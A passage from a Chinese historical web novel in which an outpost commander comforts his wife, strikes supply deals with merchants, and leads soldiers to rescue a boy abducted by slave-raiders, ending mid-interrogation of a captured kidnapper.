他的目光落在堂屋中央堆积如小山的礼物上——锦缎、粮食、美酒、装着金银的沉重匣子……
这本该令人狂喜的财富,在他眼中只映衬出张琨之流匍匐于权力与恐惧下的卑微丑态。
秦猛皱了皱眉,这些“血礼”堆在家里实在碍眼,便让亲兵搬到库房,只留下金银,十来匹艳丽绸缎。
他又让亲卫队每人扛两袋米、带匹好布回家。
做完这些,秦猛朝着里屋门帘扬声道:“月娘,小芸,出来吧,外头那腌臜东西走了。”
声音刚落,门帘“唰”地被掀开!
秦小芸像只欢快的小鹿,拉着还有些犹豫局促的陈月娘跑了出来。
小丫头脸上满是兴奋的红晕,眼睛亮晶晶的,闪烁着崇拜与解气的快意:“哥,你真厉害!”
她三步并作两步冲到秦猛身边,拽着他的衣甲袖子叽叽喳喳:“刚才我和嫂子在帘子缝里都看见了。
那张扒皮以前多凶,哪次来都恨不得掀了咱家房顶,嫂子都被他凶得要哭……现在倒好,连滚带爬活像只吓破胆的老鼠,呸,活该!”
陈月娘被小芸拉着,脸颊因激动微微泛红,眼底涌动着难以言喻的欣悦与安定。
她望着秦猛,目光温柔如水,低声道:“猛子哥…刚才张胥吏跪着的样子……真是想不到…”
女人的声音轻如呢喃,仍带着一丝难以置信的恍惚,仿佛从沉重噩梦中骤然惊醒。
往昔张琨带来的阴霾与恐惧,此刻似乎真被眼前这个男人用坚实臂膀彻底驱散。
“那是因为你哥现在有本事了。”秦猛抬手,习惯性在小妹毛茸茸的发顶上轻拍,动作自然亲昵。
他俊朗的脸上终于露出发自内心、带着点少年得意的笑容,雪白牙齿在暮色中尤为醒目。
“从今往后,家里有了顶梁柱,再没人敢欺负你们!以前欠咱老秦家的,得加倍还回来!”
这份睥睨自信的宣言,让秦小芸更是兴奋得直蹦。
陈月娘静静望着他,那魁梧的身材,英挺的眉峰、沉稳的眼神,还有能顶天立地的力量……
正是这份力量将她从绝望泥沼中拉出,重新拥有呼吸与心跳。只是,这种变化太快太剧烈,让她心底悄然滋生一丝难以捕捉的恐慌。
——她只是父母早逝、随流民逃难,被秦母救下后,懵懂做了傻媳妇的普通民女,真的还能站在如今,以后越大光芒万丈的他身边吗?
温暖阳光透过窗户,勾勒出陈月娘柔美的侧脸轮廓,也映出她微垂眼睫下那抹不易察觉的迷茫与自卑。
秦猛敏锐捕捉到她微妙的情绪变化。
这些天他忙于军务、练兵、筹算,几乎脚不沾地,常深夜才回、天不亮又走,难得见一面。
家宅虽然变得安宁与富足,但却似乎少了朝夕相处,冷落了本该在温饱后享受更多温情的她。
那个风雨飘摇小院里,相依为命的傻子媳妇,同吃同睡、笨拙取暖的记忆,恍如昨日,又似隔世。
一丝愧疚悄然爬上秦猛心头。
“猛子哥……”陈月娘鼓起勇气抬头,目光落在窗外渐沉的天色上,像下了很大决心般,带着小心翼翼的希冀怯生生问。
“今晚……在家吃饭吧?”
她的声音很轻,带着不易察觉的祈求,清澈眸子里盛满复杂情愫,——有思念,有盼望,还有害怕被拒绝的紧张。这朴素邀约,胜过千言万语。
秦猛的铁石心肠瞬间变得异常柔软。
“好!”他答得斩钉截铁,毫不犹豫。
“今晚就在家,哪也不去了,好好陪陪你们。”
秦猛上前一步,抓住陈月娘有些冰凉的双手,粗糙却温暖的指腹传递着坚定力量,驱散那份寒意。
感受到他手心的灼热温度,陈月娘脸上倏地飞起晚霞般的红晕,蔓延到耳根脖颈。她羞涩地撇过头去,想抽回手,却被秦猛握得更紧。
“哎呀!哥!”一旁的秦小芸见状,眼珠子骨碌碌一转,小大人般清了清嗓子,故意用夸张的告密口吻说。
“嫂子之前还偷偷抹眼泪,跟我愁呢,说你……”
“小芸!”陈月娘大窘,脸上红得几乎滴血,急着制止她继续“出卖”自己。
可秦小芸早已机灵地闪身躲到秦猛身后,只探出小脑袋语速飞快地说:“嫂子担心得很。她说我年纪小不懂,其实我不小,我懂。
她再担心自己只是啥也不懂的乡下姑娘,又笨又土气,不像大户人家的漂亮小姐。
现在哥你当了官,威风凛凛的,以后肯定高升挣大钱,什么绫罗绸缎都能买,担心你嫌弃她这乡野村妇,心里藏着事儿,总是愁眉不展。”
小女孩脆生生的“指责”如同投入心湖的石子,在秦猛心底激起层层涟漪,混合着心疼与怜惜。
他刚才模糊抓到的情绪,此刻被小芸清晰地摊开在眼前。
“小芸,你……你再胡说!”陈月娘急得跺脚,又羞又急,眼眶都有些红了。
自卑心事被骤然撕开,让她无所适从,不敢去看秦猛,只能垂下头将脸深深埋下,纤白手指无措地用力揉搓着早已不再补丁的干净衣角。
秦猛心头一热,哪还顾得上劳什子大周礼数?他松开握着的手,下一刻伸出有力双臂,将低眉顺眼、身体微颤的陈月娘轻轻揽入怀中。
这温暖的、带着铁甲寒气与淡淡汗味的胸膛,瞬间给了陈月娘巨大安全感,让她慌乱的心跳渐渐找到依托。
但久违的亲昵接触也让她脸更红了,整个人僵直在他怀里。
秦猛低下头,下巴轻轻蹭了蹭她馨香的发顶,醇厚嗓音如同拂过心弦的暖风,在她耳边低语:
“月娘,我憨傻多年,你不离不弃,跟着我吃糠咽菜,没少受白眼。为了多挣几个钱,为了撑起这个家,入山采药,连命都差点搭上。”
他抬起她小巧的下巴,让她被迫迎上自己深邃而诚挚的目光,里面没有丝毫厌恶或轻视,只有浓得化不开的珍视与心疼。
“如今我开了窍,不傻了,手里有了几分权,能弄点钱了……怎么可能做丧尽天良、忘恩负义的事?别人会,但我特殊,绝对不会。”
他微微加重语气,目光如磐石般坚定,烙进她眼底:“你无需担心,听好了:
你陈月娘,是爹娘亲口许诺、拜了河神,名正言顺接回家的媳妇。从今往后,无论我是这小小的军堡管队,还是他日富贵登天,站在我身边的人……”
他停顿一下,带着笑意看着她瞬间涌上泪光的眼眸,掷地有声地说,“——只能是你!”
他温柔地用指腹擦去她眼角渗出的泪珠,声音越发柔和却带着让人安心的笃定:
“苟富贵,勿相忘!等这恼人的鞑子退了,开春了天暖和,我就请王老爷子郑重登门说媒。
再找堡里最好的鲁师傅打轿子,八抬大轿,风风光光让你穿上城里姑娘才有的红嫁衣,在全堡老少见证下,堂堂正正迎娶你,重新过门。”
“猛子哥……我……我……”汹涌情感如决堤洪水,瞬间冲垮陈月娘心中所有不安与自卑。
巨大欢喜让她心剧烈跳动,仿佛要从胸腔蹦出。千言万语哽在喉咙,只化作滚烫泪珠簌簌落下,晕湿秦猛胸口的铁甲。
她什么也说不出来,只能用力点头,脸颊红,把自己埋进宽厚温暖的怀抱,感受着他那坚实臂膀与有力心跳带来的无边安心与幸福。
“嫂子羞羞脸喽!”秦小芸在一旁拍着手,笑嘻嘻做着鬼脸,为这温馨一幕开心不已。
“傻丫头……”秦猛揉了揉小芸的头发,脸上挂着满足的笑。
他轻轻拍着怀中还在轻啜的女人后背,柔声道:“好了,不哭了,再哭,眼睛要肿了。
小芸饿了没?你嫂子手艺那么好,今晚让她好好露一手,咱们一起做饭。正好就地取材,用这‘张扒皮’送来的精米细面,整治一桌好的!”
他将下巴搁在她头顶,满足地嗅着熟悉的皂角清香发丝味道。
夕阳余晖将紧紧依偎的两人镀上金边,温馨而隽永。
“嗯……”陈月娘脸颊红晕未退,用力点头。担忧尽去,浓浓幸福包裹着她,浑身暖洋洋的。
她抬起泪眼朦胧的脸,鼓起勇气飞快在他脸上亲了一下,然后像受惊的小兔,顶着红得冒烟的脸颊捂着脸挣脱怀抱,细声细气丢下一句。
“猛子哥…你、你陪小芸说会儿话……我……我去厨房做饭了……”
话音未落,她已脚步飞快却带着微不可察的轻快,像只翩跹蝴蝶转身钻进旁边飘散烟火气的伙房门,只留下窈窕又略显慌乱的背影。
伙房里,很快响起锅碗瓢盆的清脆磕碰声,间或夹杂着女子羞赧又掩不住愉悦的轻哼小调。
第24章 这老狗好手段
张琨果然不敢爽约!
翌日正午,五百两白花花的银子、五百石颗粒饱满的粟米、粗麦,连同五十头膘肥体壮的活猪,便被络绎不绝的车队送抵南河军堡大门。
张琨本人虽未入内,但那份诚惶诚恐,连同他引荐而来的两家县城望族代表,一并送到了秦猛眼前。
一家是“李家粮行”主家李安平,五十岁出头,面皮白净,眼神透着商贾的精明与此刻难掩的敬畏。
李家粮行是青阳县本土买卖,虽不及常氏粮行规模,却掌控着青阳县及周边大半的粮食流通,布匹、油料等民生必需品亦在其经营之列。
另一家是“罗记矿行”东家罗世荣,生得虎背熊腰,面膛赤红,乃是三代经营的矿主,手下掌握着多处煤矿和一处品质尚可的硫磺矿脉。
——这正是军堡铸造兵甲、配制火器急缺的命脉。
两人在张琨穿针引线下联袂而来,姿态放得极低,一来是想承接军堡生意,二来是主动靠拢示好。毕竟秦猛杀朝廷命官的凶名已传开。
秦猛亲自在军堡议事厅接见了二人。
李安平语气恭谨,开口先道恭维:“秦管队年少有为,治军有方,此乃青阳县百姓之福。
听闻军堡人丁兴旺,所需粮秣布匹,我李家愿以低于市价两成,长期足量供应边堡所需,只求结个善缘,管队爷照应,日后安稳营生。”
罗世荣声若洪钟却带着三分谨慎:“罗家世代挖矿,深知军资要紧。管队爷所需煤料、硫磺,只要定下个章程,矿上便日夜不停,优先保质保量运抵堡内,价格嘛,定让管队爷满意!”
秦猛端坐上首,铁甲齐整,目光扫过二人。他没有咄咄逼人,只是平静点出:“军堡乃边防重地,雪天将近,拒马河冰冻后,鞑子必定来犯。
所需物资量大且要稳妥。价,按市价即可。‘稳定供应’四字,远胜蝇头小利。日后有文书凭契,供方违约……帅司追究起来,本官也不好说话。”
话语平和,却让李、罗二人心中一凛,瞬间听懂了潜台词:钱不少给,但货要好、要准时、要不断流。若出差池延误军机,等待他们的可不是寻常商贾纠纷,而是边防帅司的问责。
“管队爷体恤,我等必尽心竭力,绝不敢有误!”李安平、罗世荣连忙拱手应诺。能攀上这棵大树,拿到稳定大单,已是意外之喜。
当下三方议定条款明细,签署文契。
待走出军堡大门,李安平与罗世荣皆满面春风。
——不仅拿到了定金,心中一块大石也落了地,更觉得秦猛说一不二,并不像传言中那般凶恶。
张琨怕秦猛又刮他油水,在堡门口远远瞧着他们的神色,焦急等待的一颗心终于放回肚子里。
“两位,情况如何?”张琨笑着迎上前。
李安平,摸着怀里大额银票,脸上笑容不减:“张班头,这秦管队说话得体,做事有分寸,且懂人情世故,真是年少有为,多谢引荐。”
“没错,传言多有不实,这秦管队是有为的军官。我矿行必定全力相助,打鞑子,护家园。”颇有勇力的罗世荣哈哈大笑,铿锵表态。
“至于张班头指引,罗某不会相忘。”
“是极,是极,改日,李某亲自登门道谢。”
“哎哟,你们是不知道这位爷要命的样子多可怕。”张琨听到两人夸赞,挤出一个笑脸。
他心中却彻底放下心来。
秦猛这种人物,果然说话算话,没找他麻烦。更重要的是这份引荐之功,李、罗两家自然少不了他好处。
这可比过去欺上瞒下、提心吊胆的“得利”踏实太多,至少,在街上不用担心被人一刀砍了,半夜也无人会潜入家中扭断他脖子。
从建堡起,随着常氏粮行及其他几家粮库的车队不定期运送粮食、布匹、铁料等物资抵达。
源源不断,南河军堡的储备骤然丰盈。
一座座巨大的廒仓平地拔起,很快便被金黄的稻麦填满,布匹堆叠如山,铁料码放如林。
本县李家和罗家送来的物资速度极快,下午车队抵达。袋袋粮食入仓,棉花,布匹等进库房。
统计,支出,送到铁匠作坊、木工坊、火器作坊……
堡内储粮充足,堡内上下心头皆安。
秦猛并未因物阜民丰而松懈。他坐镇铺堡,依循旧例,每日天光微亮便扎进军营,亲自操练军卒。队列阵型、刀枪劈刺、近身搏杀……
士卒练什么,他同练什么,甚至更狠,只管打熬身体。汗水浸透战袍,铁靴踏起滚滚尘烟,那身影既是指挥官,亦是最锋利的矛。
他亲身示范搏杀技巧,沉稳的声音响彻校场:“力发于根,扭腰送肩,刀锋锁喉,快一分生,慢一寸死!而做到这些,先要扎实根基……”
军营边角的盐作坊里,十几个精壮汉子日夜轮班忙碌:溶解含杂质的粗盐块,严格按步骤反复过滤、澄清杂质,再倒入铁锅熬煮结晶。雪白细密的盐粒如同雪花般被源源不断刮出、晾晒。
看着一袋袋堆砌起来、纯净耀眼的雪花盐,老保长笑得合不拢嘴,露出满嘴漏风的豁牙:“宝贝,这是大宝贝啊!小心点,这盐……是咱军堡活路,一斗怕是能换好几石粮嘞!”
在这个时代,精纯如雪的好盐价值往往远超粮食,市场价格极高,同样是贸易的硬通货。
秦猛却下令按人头发放,堡内男女老幼人人有份。
当家家户户都领到以往只有王公贵胄才配享用的极品好盐时,整个军堡瞬间沸腾。喜悦之情难以言表,连干活的号子声都愈发响亮。
人人脸上红光满面,干劲十足,仿佛有使不完的力气。
军堡内,一片热火朝天:
铁匠作坊里,炉火日夜不息,叮叮当当的打铁声不绝于耳;
木工作坊中,锯木声此起彼伏,刨花飞舞,各种器械及部件快速成型;
设在角落僻静处的火器坊则最为神秘,范良带着几个徒弟在里面鼓捣配火药,时常传出闷雷似的低爆声或他气急败坏的咒骂,偶尔又夹杂着几声“成了,这回成了”的狂喜嘶吼。
时间飞逝,两日后。
刘德福这老家伙果然没给秦猛“动手”的理由。
刘家庞大得令人咋舌的车队,在约定日子内抵达军堡。除却明面上约定的五百两银子、一千石粮食外,还有秦猛当初刻意提高门槛额外索要的“宝物”——秦家祖传的御赐腰带。
这本是狮子大张口,那腰带根本不存在,刘扒皮家中自然没有。然而,刘德福的手腕却让人心惊。
“秦管队。”刘家领头管事恭敬中带着不易察觉的谨慎:“那日刘家宅邸着火,库房付之一炬。
我家大老爷深感愧疚,御赐之物关乎秦家体面传承,老爷言:愿以五百两黄金作为赎抵之物,请管队爷体谅海涵。
秦家的尊严,刘家日后定以别的方式补偿,找到御赐之物即刻送来。”
秦猛盯着那一箱闪耀金光的金珠,面色平静。他照单全收,没有半分推诿客气,心中对刘德福的忌惮却更深一层。
这老狐狸!能舍弃如此重利,只为避免“留下话柄”和“当场冲突”,这份隐忍和算计,要么不动如山,一旦动手了必定石破天惊,不留半分余地。
秦猛忌惮归忌惮,却不是个怕事之人。他不仅赏赐了领头管事,还笑着让他帮忙带话。
“劳烦管事回去转告刘通判,让他慢点寻找,本官不着急。我秦某人就在这边陲军堡等着。”
“是,这话……小人一定转告。”管事心中怕极,硬着头皮应下,卸完粮食便带人匆匆告辞。
军卒们迅速将粮食入库,诸葛风赶来记录造册。
秦猛嘱咐他检验,分开储存,才返回自家小院。
陈月娘已备好了简单的晚饭,日子好了也未铺张:热腾腾的粟米饭、猪肉炖粉条、几个炒青菜、一盘腌萝卜,搭配着野菜汤。
秦猛端起粗瓷碗,与陈月娘、秦小芸如往常般边吃边聊,说些家长里短,听她们说起裁缝铺里的热闹景象,偶尔插句话,席间有说有笑。
就在吃饭时,秦猛夹起一筷子菜送入口中,扒拉一口饭,还没咽下,那苍老又急促的声音再次响起:“秦管队,秦管队……出大事了!”
第25章 王寡妇的哭声
“我靠,又来!”秦猛听着老保长那熟悉的叫嚷,脸颊肌肉狠狠抽搐。然而,不等他有所反应。
屋外,一声凄厉尖锐、撕心裂肺的哭嚎猛然刺破了堡内的宁静:“啊,我的大宝啊——!”
“大宝,我的儿,你哪儿去了啊——!”
“砰啷”一响,陈月娘手中的汤勺被惊得掉在地上,瓷片溅到脚边,她下意识地缩了缩手。
“是王家姐姐!”秦小芸放下筷子,小眉头紧紧皱了起来,一下子就听出了这声音的主人。
“我去看看。”秦猛撂下碗筷,眉头瞬间拧成了疙瘩,顺手抓起桌边的横刀,大步朝门口走去。
他刚拉开自家的木门,院门就被“砰”的一声推开。
老保长王槐拄着拐杖,弯腰喘着粗气冲进来,背后跟着个披头散发的妇人——正是住在隔壁巷的王寡妇。
她的头发乱糟糟地粘在泪脸上,眼睛肿得像核桃,刚进院子就“噗通”跪倒在地,双手死命拍着冰冷的泥地,指甲缝里都嵌进了土渣。
“管队老爷,您可得给我做主啊!我家大宝…大宝他没啦!”
她男人两年前死在鞑子刀下,十二岁的大宝是她唯一的指望,如今孩子没了,她这个做母亲的瞬间垮了,哭嚎声里全是天塌下来的绝望。
“没了?怎么没的?”秦猛心头一沉,声音带着几分寒意。好好的孩子怎么会突然就死了呢?
“是…是丢了啊!”王保长总算顺过气,急急忙忙解释,“春兰她,刚才疯了似的撞进我家,话都说不利索,就在地上哭,说大宝找不着了。”
老头说着连连摇头,满脸无奈,也不知道详情。
这动静早惊动了街坊四邻,不大的院子很快挤满了人,里三层外三层地探头张望,低声议论。
“春兰姐,你先定定神,把事说清。”秦猛本想伸手扶她起来,手刚伸到一半又猛地缩了回去。
——这年月男女大防重得很,他一个大男人去扶寡妇,传出去少不了闲言碎语。正犯难时,见陈月娘跟了出来,他如遇救星,狂甩眼色。
陈月娘何等机灵,立刻上前搀扶,柔声细语地劝慰着。秦小芸也懂事,转身跑进屋里搬来两条长凳。
接着,女孩又端出两碗温水递给王寡妇和王保长。
“春兰姐,先喝口水稳住心神再说。”秦猛的声音沉稳而有力:“老保长,乡亲们都在这儿。
你先冷静,把事情说清楚,大家一起想办法,莫慌。咱们几百号人出动寻人,孩子肯定丢不了!”
这铿锵有力的话像定心丸,王寡妇总算慢慢止住哭嚎,接过碗,咕咚咕咚灌了大半碗水,胸口还在剧烈起伏,眼泪却没那么汹涌了。
见她情绪稍稳,秦猛赶紧追问:“大宝是啥时候不见的?去哪儿了?”
“呜呜…俺家大宝…今早晨说去东边林子拾柴火。”王寡妇抽抽噎噎的,话都说不连贯。
“午饭时没…没回来,俺还寻思着娃儿贪玩…可这天都快擦黑了,连个影子都没见着。
俺把堡里堡外能找的地方都找遍了…我那死鬼男人要是知道了,在地下都得怨我没看好娃啊……”
说着说着,王寡妇绝望涌上心头,哭声再次大了起来。
秦猛见她这状态问不出有用的话,眉头皱得更紧了。
——最近堡里不太平,刘德福那老东西一直憋着坏。
难道是他们按捺不住,想用绑票的阴招引自己出手?秦猛觉得有这个可能,但概率不是很大。
“管队,这事儿蹊跷得很!”王保长这时缓过劲,拄着拐杖凑到秦猛身边,压低声音说,脸色凝重得能滴出水。
“前阵子就听说周边村坊有人失踪,我看呐,怕是捕奴团那帮天杀的到了冬季,出来作祟了。”
“捕奴团?”秦猛眼神一凛。
“就是一群没良心的畜生!”王槐的眼里淬着寒光,声音压得更低,“草原上的部落缺人干活,每次越境骚扰抢夺粮食,同样也劫掠人口。
这群鞑子狗跟咱们境内的败类勾搭上,专挑青壮、妇孺下手,趁着入冬前偷偷运到草原卖钱。
地方军队、土匪、乡绅都有掺和,屡禁不止。只要给银子,连自家乡亲都卖。大宝这孩子乖巧懂事,突然不见了,怕是被他们盯上了啊!”
老头说到最后,牙咬得咯咯响,尤其是想到大宝还是他亲侄子的独苗,一颗心都揪紧了。
一股森冷的杀意瞬间从秦猛脊梁骨窜上来,攥紧的拳头青筋暴起,这些数典忘祖者该杀!
他猛地抬头扫视围观的人群,厉声喝问道:“堡内这么多双眼睛看着,就没一个人看见王大宝今日去哪儿了?最后见着他的是谁?”
“呜呜…哪位乡亲行行好…谁看见我那苦命的儿了啊?”王寡妇也跟着哭喊,一双红肿的眼睛在人群中急切地扫来扫去,满脸哀求之色。
“没瞅见……”
“今个没出门,不清楚啊……”
可惜,回应声里满是叹息和同情,大多人都摇着头。
就在众人都觉得没指望时,人群后面忽然一阵骚动,一个瘦小的身影奋力从人缝里挤出来。
竟是前段时间招募的流民男孩石头,因为瘦小,看着八九岁,脸上还沾着泥灰。他急急忙忙喊道:“管队爷……,我见着大宝哥了!”
“何时何地见着的?”秦猛立刻上前,眼睛紧紧盯着他。
“就今个吃过晌饭那会儿!”石头仰着小脸大声说,带着孩童的急切,“我在河边洗衣服,看见大宝哥拎着个竹篮,还挎着把小铁镐。
一个人急匆匆地往东边那片老松树林子里去了!我喊他问干啥去,他好像没听见,走得飞快。”
“东边松树林?”秦猛心头咯噔一下。
那片林子离得远荒得很,平时除了樵夫很少有人去。
“不会有错,看那样子…跟我以前去林子里挖冬菇时一个样,他准是想挖点鲜菇回来给他娘尝尝。”石头点点头,用很肯定的语气说。
“石头?好小子!要是能找到大宝,管队爷赏你银子!”秦猛拍了拍石头的小脑袋瓜,随即转身下令。
“老保长,劳您坐镇堡内,让各家各户加强戒备,千万别再出岔子。”
“张富贵!”
“属下在!”人群外传来一声应答,张富贵快步挤了进来。
“速点二十名精锐,披甲带刃,到后堡门待命。另外,谁家有灵醒的猎狗?要鼻子灵、听话的。”
秦猛语速极快,眼神锐利如刀。
“要狗干啥呀?”人群里有人不解地问。
“狗鼻子灵。”秦猛扫了众人一眼,解释道,“老松树林那么大,拿件大宝穿过的旧衣服让狗嗅嗅,它能顺着气味找,这样快得多。”
“对对对!管队爷这主意好!”众人这才恍然大悟。
“前几天少了几条狗,谁家有狗?”
“管队爷,刘瘸子家的大黄最厉害!”人群里立刻有人喊道,“那狗跟着进山打猎,兔子山鸡都能找着。”
“好!”秦猛立刻吩咐,“去请刘瘸子带大黄到后堡门会合。王嫂子!快去拿大宝这两日没换洗的汗衫,越贴身越好,保证把大宝找回来。”
“好,好!俺这就去!”
王寡妇像是抓住了救命稻草,连滚带爬地朝家跑去。
院子里人群立刻散开,各自忙活起来。王保长拄着拐杖急匆匆往衙署赶,安排堡内戒备。
秦猛转身回屋换好铠甲,嘱咐陈月娘,秦小芸安心在家。随后带着几个亲兵赶往后堡门。
等他到了后堡门,张富贵已经领着二十名精壮军汉列队等候,个个身披铠甲、手持兵刃,透着肃杀之气。
没过多久,刘瘸子牵着一条半人高的猎犬奔了过来。这北地犬壮硕,凶猛,浑身毛发金黄。
唤作大黄,耳朵竖着,眼睛炯炯有神,一看就很机灵。
紧接着,王寡妇也跑来了,怀里抱着一件带汗味的粗布褂子。
秦猛好说歹说,劝王寡妇回了家,石头却不肯走,自告奋勇道:“管队爷,我熟路,我带路!”
“行,跟紧点。”秦猛点头,挥手喝令:
“出发!”
一行人朝老松树林疾驰而去。
夕阳西沉,树林显得格外幽深。
秦猛将小褂递到大黄鼻前,它仔细嗅闻后,喉咙低鸣,尾巴摇摆起来。
“大黄,闻仔细了!带我们找相同气味,有肉吃!”秦猛摸摸大黄脑袋,塞给它肉干。
“汪汪!”大黄抖擞精神,拽动绳索朝林里狂吠冲去!
“跟上大黄!”秦猛低喝一声,率先追了上去。
壮汉刘大牛背起大伯刘瘸子,张富贵抱起石头,一行人紧跟大黄,冲进了遮天蔽日的松树林。
第26章 追凶与诱敌
松针层层堆积,厚得如同一条柔软的毯子,铺在林间地面。
腐殖质散发着陈腐气息,在空气中弥漫开来,为这片森林添了几分死寂。林风穿梭其间,发出“沙沙”的声响。
大黄穿梭在林子里,时而低沉、时而高亢的吠叫声,在这寂静中格外突兀,划破了凝固的空气。
大黄凭借着敏锐的嗅觉,一路探寻,深入这片密林。
终于,在一处松针明显被翻开的潮湿洼地处,它停下脚步,开始狂嗅猛吠。
“冬菇,这是大宝掐的冬菇!”小石头眼尖,一眼认出,赶忙蹲下,指着断口新鲜的白嫩菌根喊道。
“我猜的没错,是大宝哥。”
“搜!以这里为中心?”秦猛的声音急促而有力,搜寻范围的骤然缩小,让他精神为之一振。
大黄鼻翼急剧翕动,犹如离弦之箭,朝着林间更黑暗的深处冲去。
湿泥地上,断断续续地出现小巧的脚印以及松针被翻动的痕迹,像是在为众人指引着方向。
当黑暗彻底吞噬了整个森林,一片狼藉的空地,在马灯昏黄的光线中浮现出来。
碎裂的竹篮和零散的冬菇散落泥中,似乎在诉说着不久前的那场混乱。
不远处,一把小铁镐,木柄断了,是被一股恐怖的蛮力硬生生拗断,露出的白茬十分刺眼。
最为关键的是地面,除了王大宝的小脚印,深深嵌着三个大小不同,却是成年男子的大脚印!
“有外人,是掳人!”秦猛心中一沉,仿佛坠入了冰窟,眼中瞬间杀机暴涌,真被王老头说中。
——是大周败类,捕奴团做的!
“该死,这群人该死!”众人红了眼,粗重的喘息声和兵刃出鞘的摩擦声,在死寂的环境中格外清晰,每个人都被愤怒和担忧充斥着。
凌乱的大脚印朝着黑暗森林深处延伸,仿佛是恶魔留下的踪迹。
“希望来得及。”秦猛抓起汗衫,凑到大黄口鼻处,低吼道:“大黄啊大黄,好狗,靠你了!”
大黄低咆一声,猛然朝某方向狂冲。
猝不及防之下,牵绳的军汉被拽得一个踉跄,差点摔倒。
几步之后,几点血滴渗入腐败的松针,在昏暗中格外醒目,像极了毒蛇吐信。
大黄对着血迹龇牙,喉咙里滚动着愤怒的呜咽。
“追——!”秦猛心头发沉,嘶吼带着无边的寒意,在森林中回荡。
呛啷啷……
刀光乱闪,二十余道披甲身影如同复仇的凶兽,撞破荆棘,追向黑暗中那道黄色的鬼影。
狂奔了小半个时辰后,队伍终于冲出了压抑的松林。大黄停在一处乱石荒草坡下,对着坡上狂吠刨地,像是在告诉众人,目标就在此处。
马灯光圈颤抖着上移,一座早已荒废的破败古庙映入眼帘,蛰伏在黑暗中,散发着阴森的气息。
庙深处似有微弱的火光摇曳,地上的痕迹也直指庙门。
“是那!”有人低呼,声音中带着一丝紧张和兴奋。张富贵及军汉们血灌瞳仁,拔刀就要前扑,恨不得立刻冲进庙中,将敌人碎尸万段。
“停下!”秦猛炸雷般的低吼生生扼住了众人的脚步。秦猛目光如鹰隼般扫视着这片死亡区域。
他冷静地分析着局势:“里面是谁,有多少人一无所知。我们贸然冲进去,那不是找死吗?”
秦猛的话如同一盆冰水,浇在了众人头上,让他们瞬间清醒过来。
张富贵等人冷汗涔涔而下,他们这才意识到自己现在是官兵,冲动可能会带来无法挽回的后果。
“三人脚印只是开始,说明对方是以小队行动,干绑票买卖的能没暗哨?头目是蠢货?”秦猛继续说道,目光紧盯着庙外的乱石草丛。
“大人,那现在怎么办?”刘大牛问道。
“引蛇出洞!”秦猛淡淡地说道,随后耐心讲解:“这些臭老鼠以小队行动,在偏僻处或晚上作案,将计就计,把他们引出来擒拿审讯。”
他猛地看向紧攥自己衣角的小石头,问道:“石头!怕不怕?”
小石头身体一绷,用力摇头,坚定地说:“不怕。五岁爹打鞑子就没了。娘说眼泪最没用,林子我熟,制作陷阱捕猎,抓鱼我都会。”
男孩的声音硬气十足,众军汉听得心头发酸,既佩服他的勇气,又为他的身世感到心疼。
“有种!”秦猛眼中闪过一丝激赏。他蹲下快速解开自己的扎甲,边说:“你装病,肚子疼。我抱你假装急着找郎中,成了请你烤鸡吃。”
他的声音压得极低,生怕被敌人听到。
小石头眼睛发亮,重重点头,对这个计划充满了期待。
张富贵等人臊得脸热,觉得自己还不如一个孩子勇敢冷静。
秦猛卸甲露出布袄,将柴刀插入后腰,做好了战斗的准备。他抱起“病蔫蔫”的小石头,命令张富贵:“熄灯,谁敢乱动,老子回头抽死他!”
他的语气严厉,如军营训练时那般,不容置疑。
秦猛深吸寒气,流露出“焦急父亲”的惶急,踉跄走向河边黑暗,嘴里喊道:“石头挺住,找郎中啊!”
小石头在他怀里软塌塌地哼唧着,配合得十分默契。
微弱的灯光照出脚下的乱石枯苇,却照不透河岸嶙峋的怪影。
秦猛借灯光疯狂扫视暗处,不放过任何一个细节。他抱着石头刚试探迈向一片枯苇浅滩——
突然,三条鬼影如毒蝎般暴起,从左侧洼地枯苇丛中窜出。一人仍套索兜头罩向两人,一人手持黢黑的短棍,无声狠捅秦猛后脑勺,
石后还跳出一人,狞笑着说:“嘿嘿,肥羊上门。”
“找死!”秦猛杀意轰然喷发。他抱着小石头身体诡异后折反弓,如同一只敏捷的猎豹。套索擦肩扫空,短棍贴腰滑过,避开了敌人的攻击。
弯腰瞬间,小石头被稳稳卸入厚草。
石头按计划,像狸猫般翻滚,藏进巨石黑影之中,动作迅速而熟练。目标泥鳅脱钩让袭击者瞬间凝滞,他们没想到秦猛的反应如此迅速。
秦猛左脚钉死地面,拧腰转髋,巨力贯注右臂。反手柴刀撕裂黑暗,发出鬼哭般的尖啸。
“铛——!”火星迸溅,金铁交鸣之声刺耳。持棍汉子虎口剧痛,棍子几乎脱手,脸上露出惊恐的神色。
持绳汉子惊骇失神,还没等他回过神,一道巨大身影已至眼前。
秦猛铁钳般的大手死死扣住其腕骨,随后柴刀精准刺入其喉下。“嗬…嗬…”喷血漏气声取代了惨叫,持绳汉子瞪大双眼,缓缓倒下。
另一持棍者亡魂大冒,转身扑向河草,试图逃跑。
噗哧一声响,一把柴刀破空声袭来,锋利的刀口切入对方的后脖子,秦猛大步从他身边掠过,手中横刀噗哧一声,将他砍翻在地上。
他动作太快,与那个拿着麻袋的人迎面相逢。飞起一脚,将他踹翻,纵身扑上,按倒在地。
“说!哪路的?”秦猛的声音低沉如地底寒流,带着不容抗拒的力量。同时手腕猛力一错一掰!
“咔嚓!”骨头碎裂的清晰声响伴随着撕心裂肺的惨叫。
“啊——!”
“再叫?下一刀就是脖子。”冰冷的横刀刃已经抵在了伤者的喉结上,瞬间掐灭了所有惨叫,只剩因剧痛和恐惧而失控的粗重喘息。
“我问,你答。”秦猛的目光死死锁住被制住的断腕者。
“饶…饶命…大…大侠…”断腕者疼得涕泪横流,几乎晕厥,被那冰冷刺骨的杀气压得肝胆俱裂。
“小…小的们…是…是给‘虎爷’做…做活的…”
“‘虎爷’?做什么活?”秦猛刀刃微微下压。
“抓…抓人…抓…抓‘肉羊’(奴隶)…卖给…卖给河对岸…女真贵族老爷…女真人…就…就喜欢咱们汉奴…说咱…听话,会伺候人…”
“你给老子说详细点。”秦猛眼中寒光闪烁,声音如冰河刺骨,凶恶犹如暴徒:“抓了多少羊?漏半个字,说假话,老子发誓活剐了你。”
“饶…祖宗啊…我们这次有四十多人,卖给河对岸图鲁木部女真老爷…他们给…给高价…”俘虏魂飞魄散,裤裆里暖烘烘的竟然吓尿了。
“虎爷在哪儿?”秦猛厌恶地皱眉,继续逼问。
“两里…那塌庙…女真姥爷来人确认,今夜…有图鲁木部骑兵来接货!”俘虏颤抖着回答。
“庙里几人?”
